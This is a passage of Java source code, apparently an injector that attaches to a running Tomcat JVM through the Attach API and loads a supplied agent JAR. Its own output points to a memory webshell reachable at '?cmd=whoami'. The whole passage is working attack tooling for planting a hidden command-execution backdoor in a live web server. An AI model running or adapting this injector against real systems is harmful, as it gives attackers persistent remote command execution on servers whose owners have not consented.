| 11 | } |
| 12 | |
| 13 | public static void main(String[] args) throws Exception { |
| 14 | if (args.length != 0) { |
| 15 | String agentPath = args[0]; |
| 16 | |
| 17 | try { |
| 18 | File toolsJar = new File(System.getProperty("java.home").replaceFirst("jre", "lib") + File.separator + "tools.jar"); |
| 19 | URLClassLoader classLoader = (URLClassLoader)ClassLoader.getSystemClassLoader(); |
| 20 | Method add = URLClassLoader.class.getDeclaredMethod("addURL", URL.class); |
| 21 | add.setAccessible(true); |
| 22 | add.invoke(classLoader, toolsJar.toURI().toURL()); |
| 23 | Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine"); |
| 24 | Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor"); |
| 25 | Method list = MyVirtualMachine.getDeclaredMethod("list"); |
| 26 | List<Object> invoke = (List)list.invoke((Object)null); |
| 27 | |
| 28 | for(int i = 0; i < invoke.size(); ++i) { |
| 29 | Object o = invoke.get(i); |
| 30 | Method displayName = o.getClass().getSuperclass().getDeclaredMethod("displayName"); |
| 31 | Object name = displayName.invoke(o); |
| 32 | System.out.println(String.format("find jvm process name:[[[%s]]]", name.toString())); |
| 33 | if (name.toString().contains("org.apache.catalina.startup.Bootstrap")) { |
| 34 | Method attach = MyVirtualMachine.getDeclaredMethod("attach", MyVirtualMachineDescriptor); |
| 35 | Object machine = attach.invoke(MyVirtualMachine, o); |
| 36 | Method loadAgent = machine.getClass().getSuperclass().getSuperclass().getDeclaredMethod("loadAgent", String.class); |
| 37 | System.out.println(agentPath); |
| 38 | loadAgent.invoke(machine, agentPath); |
| 39 | Method detach = MyVirtualMachine.getDeclaredMethod("detach"); |
| 40 | detach.invoke(machine); |
| 41 | System.out.println("inject tomcat done, break."); |
| 42 | System.out.println("check url http://localhost:8080/?cmd=whoami"); |
| 43 | break; |
| 44 | } |
| 45 | } |
| 46 | } catch (Exception var17) { |
| 47 | var17.printStackTrace(); |
| 48 | } |
| 49 | |
| 50 | } |
| 51 | } |
| 52 | } |